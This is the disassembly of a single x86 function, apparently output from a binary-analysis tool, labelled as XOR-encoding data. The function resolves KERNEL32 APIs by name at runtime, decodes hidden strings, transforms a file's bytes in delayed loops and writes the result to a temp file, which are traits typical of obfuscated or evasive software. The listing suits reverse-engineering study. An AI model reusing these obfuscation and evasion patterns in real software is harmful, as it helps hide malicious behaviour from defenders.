Function at 0x433140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
mov eax, dword [0x4a2a80]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x458]
push edi
push eax
call fcn.0043fe98
movups xmm0, xmmword [0x48e608]
mov eax, dword [ebp - 0x458]
lea edx, [ebp - 0x12]
mov dword [ebp - 0x460], eax
add esp, 4
mov eax, dword [ebp - 0x454]
mov esi, 0xb
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x45c], eax
movups xmm0, xmmword [0x48e618]
movups xmmword [ebp - 0x2c], xmm0
movups xmm0, xmmword [0x48e628]
movups xmmword [ebp - 0x1c], xmm0
movzx ecx, word [edx]
lea edx, [edx - 4]
mov ax, word [edx + 2]
xor word [edx + 6], cx
xor ax, cx
mov word [edx + 4], ax
sub esi, 1
jne 0x4331a5
push esi
push esi
push 3
push esi
push 1
mov eax, 0x18be
xor word [ebp - 0x3c], ax
lea eax, [ebp - 0x3c]
push 0x80000000
push eax
push 0x48e638
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
mov esi, eax
mov dword [ebp - 0x450], 0x4c4b40
cmp esi, 0xffffffff
jne 0x43320e
push 0x4c4b40
call fcn.00436731
add esp, 4
mov edi, eax
jmp 0x433270
push 0
push esi
push str.GetFileSize
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
push eax
mov dword [ebp - 0x450], eax
call fcn.00436731
add esp, 4
mov edi, eax
lea eax, [ebp - 0x450]
push 0
push eax
push dword [ebp - 0x450]
push edi
push esi
push 0x48e664
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
push esi
push 0x48e670
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
mov ecx, dword [ebp - 0x460]
sub ecx, dword [ebp - 0x458]
mov eax, dword [ebp - 0x45c]
sbb eax, dword [ebp - 0x454]
push ebx
mov ebx, dword [ebp + 8]
test eax, eax
jg 0x433397
jl 0x4332a0
cmp ecx, ebx
ja 0x433397
nop
cmp dword [ebp + 0xc], 0
je 0x4332e9
mov ecx, dword [ebp - 0x450]
mov edx, 0x7d0
xor eax, eax
test ecx, ecx
je 0x4332e2
nop word [eax + eax]
movzx ecx, byte [ebp - 0x458]
xor byte [eax + edi], cl
movzx ecx, byte [eax + edi]
sub cl, byte [ebp - 0x458]
mov byte [eax + edi], cl
inc eax
mov ecx, dword [ebp - 0x450]
cmp eax, ecx
jb 0x4332c0
sub edx, 1
jne 0x4332b1
jmp 0x43334a
xor esi, esi
cmp dword [ebp - 0x450], esi
jbe 0x43334a
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp - 0x458]
xor byte [esi + edi], al
movzx eax, byte [esi + edi]
sub al, byte [ebp - 0x458]
mov byte [esi + edi], al
mov eax, esi
and eax, 0x800003ff
jns 0x433329
dec eax
or eax, 0xfffffc00
add eax, 1
jne 0x433341
push 1
push 0x48e67c
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
inc esi
cmp esi, dword [ebp - 0x450]
jb 0x433300
push 0x64
push 0x48e67c
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
lea eax, [ebp - 0x460]
push eax
call fcn.0043fe98
mov ecx, dword [ebp - 0x460]
add esp, 4
sub ecx, dword [ebp - 0x458]
mov eax, dword [ebp - 0x45c]
sbb eax, dword [ebp - 0x454]
js 0x4332a0
jg 0x433397
cmp ecx, ebx
jbe 0x4332a0
lea eax, [ebp - 0x44c]
push eax
push 0x104
push str.GetTempPathW
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
mov ecx, dword [str.e_v_]
mov eax, dword [0x48e698]
mov dword [ebp - 8], eax
mov eax, ecx
shr eax, 0x10
xor word [ebp - 8], ax
xor eax, ecx
mov dword [ebp - 0xc], ecx
mov word [ebp - 0xa], ax
mov eax, 0x5b6f
xor word [ebp - 0xc], ax
lea eax, [ebp - 0x244]
push eax
push 3
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x44c]
push eax
push str.GetTempFileNameW
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x244]
push eax
push 0x48e638
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
mov esi, eax
pop ebx
cmp esi, 0xffffffff
je 0x433477
push 0
lea eax, [ebp - 0x450]
push eax
push dword [ebp - 0x450]
push edi
push esi
push 0x48e6b0
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
push esi
push 0x48e670
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
lea eax, [ebp - 0x244]
push eax
push 0x48e6bc
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
push edi
call fcn.00436487
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
call fcn.00436441
mov esp, ebp
pop ebp
ret